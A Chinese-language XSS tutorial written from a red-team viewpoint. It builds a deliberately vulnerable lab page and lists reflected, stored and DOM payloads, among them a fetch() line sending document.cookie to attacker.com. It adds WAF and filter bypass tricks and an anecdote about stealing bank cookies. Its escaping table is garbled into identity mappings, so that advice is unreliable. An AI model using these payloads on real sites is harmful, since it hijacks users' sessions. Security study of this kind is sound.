一、从某知名银行网站XSS事件说起
2019年,一家知名银行因其官网存在严重的XSS漏洞,导致攻击者成功窃取了大量用户的敏感数据,包括登录凭据、账户余额等信息。该事件引发了一场轩然大波,许多用户对银行的安全性提出质疑。攻击者通过伪造登录页面,并利用跨站脚本攻击窃取Cookie和会话信息,从而进行后续的账户控制。从这一事件可以看出,XSS漏洞不仅能够危害个人隐私,还可能对企业声誉造成不可估量的损失。
作为一个红队成员,XSS是绕过前端防护、攻击用户浏览器的利器。接下来,我将从攻击者的视角剖析XSS的技术细节,并展示如何利用它从零到最终窃取目标数据。
---
二、脚本注入的门道:从输入到输出
XSS漏洞的成因
跨站脚本攻击的本质是:用户输入的内容未经严格过滤或转义,就被直接嵌入到网页中进行输出。这为攻击者提供了植入恶意脚本的机会。一旦这些脚本在受害者的浏览器中执行,攻击者就可以实现多种目的,例如:
- 窃取Cookie、会话令牌
- 冒充用户进行操作
- 伪造登录界面,收集用户输入的敏感信息
- 执行恶意代码,控制浏览器
常见的XSS类型包括以下三种:
- 反射型XSS:恶意代码通过URL参数传递,用户点击链接后直接触发。
- 存储型XSS:恶意代码存储在服务器端,所有访问该资源的用户都会触发。
- DOM型XSS:前端代码直接读取用户可控的数据,并操作DOM节点,从而造成漏洞。
---
三、环境搭建:模拟XSS攻击场景
为了更好地研究攻击技术,我推荐使用BWAPP或者自建一个简易的漏洞网站来做测试。以下是一个简单的环境搭建方法:
搭建步骤
- 安装BWAPP漏洞靶场
- 下载BWAPP源码:https://sourceforge.net/projects/bwapp/
- 配置Apache和MySQL环境(推荐使用XAMPP)
- 自建漏洞环境
- 创建一个包含简单表单的HTML页面:
- 这段代码会直接将用户输入嵌入到页面的
<div>中,而没有做任何过滤,非常适合研究反射型XSS。
<pre><code class="language-html"> <!DOCTYPE html> <html> <head> <title>测试页面</title> </head> <body> <form action="/search" method="GET"> <label for="query">搜索内容:</label> <input type="text" id="query" name="query"> <button type="submit">提交</button> </form> <div id="result"> 您的搜索结果为: <script>document.write(decodeURIComponent(location.search.split('=')[1]));</script> </div> </body> </html> `
---
四、Payload构造的艺术:如何让脚本执行
在红队攻击中,精心设计Payload是关键。下面是几种常见的XSS Payload样式,结合案例说明其使用场景:
反射型XSS的Payload
假设上述自建页面的URL为http://localhost/search?query=测试,我们可以构造如下恶意URL:</code></pre>text http://localhost/search?query=<script>alert('XSS成功!');</script> <pre><code> 受害者访问此链接时,浏览器会解析并执行<script>中的代码,弹出一个提示框,证明漏洞存在。
存储型XSS的Payload

在存储型XSS场景中,攻击者通常通过表单输入恶意脚本。以下是一个典型的Payload:</code></pre>html <script> fetch('http://attacker.com/steal?cookie=' + document.cookie); </script> <pre><code>此代码会将用户的Cookie发送到攻击者的服务器,从而实现会话劫持。
DOM型XSS的Payload
DOM型XSS主要利用前端脚本的逻辑漏洞。例如,页面中存在如下代码:</code></pre>javascript var query = location.hash.substring(1); document.getElementById('result').innerHTML = query; <pre><code>攻击者可以构造以下恶意URL:</code></pre>text http://localhost/#<img src=x onerror=alert('XSS')> ` 点击链接后,触发onerror事件执行alert。
---

五、绕过过滤器:让防护形同虚设

防护机制永远有漏洞,红队要做的就是找到它。
基本绕过技巧
- HTML编码绕过
某些防护机制只拦截<script>关键字,可以尝试编码: `html %3Cscript%3Ealert('XSS')%3C%2Fscript%3E `
- 属性注入
如果输入被嵌入到HTML属性中,可以构造: `html " onmouseover="alert('XSS')" `
- 事件触发绕过
在某些场景下,利用事件绑定可绕过过滤: `html <img src=x onerror=alert('XSS')> `
高级绕过技巧
当发现WAF或过滤规则对常见攻击方式已经有防御时,可以使用以下方法:
- 分割注入
利用字符串拼接或编码,将完整的Payload拆分成多个部分,再由浏览器拼接成最终脚本。
- 利用多种编码
对脚本进行Base64编码,并通过JavaScript解码后执行。
- 混淆绕过
使用JavaScript的特性,例如: `javascript eval('ale'+'rt(1)') `
---
六、检测与防御:让攻击无所遁形
虽然作为红队我们专注攻击,但了解防御手段能帮助我们更好地绕过。以下是一些常见的防御方法:
常见防御技术
- 输入过滤与转义
永远不要将用户输入直接嵌入到HTML,确保对特殊字符进行转义: `html & -> & < -> < > -> > `
- 内容安全策略(CSP)
设置严格的CSP,限制脚本的加载来源: `text Content-Security-Policy: script-src 'self'; object-src 'none'; `
- 框架与库的保护
使用安全性更高的Web框架,例如Django、Ruby on Rails内置的防护机制。
---
七、个人实战经验分享

十多年的红队经验告诉我,XSS虽看似简单,但能玩出花样。我曾在一次渗透测试中,通过反射型XSS结合钓鱼邮件,成功绕过银行WAF,获取了十余个账户的Cookie。核心在于Payload的设计和对防护机制的理解。
建议各位红队成员:
- 学会从用户的输入点逆向分析系统的输出逻辑。
- 永远保持Payload灵活性,测试不同类型的编码和分割方式。
- 如果发现目标有WAF,尝试做流量混淆,并结合其他漏洞链进行多重攻击。
---
这篇文章仅供授权的安全测试和研究使用,请勿用于非法用途。希望对你的红队技术提升有所帮助!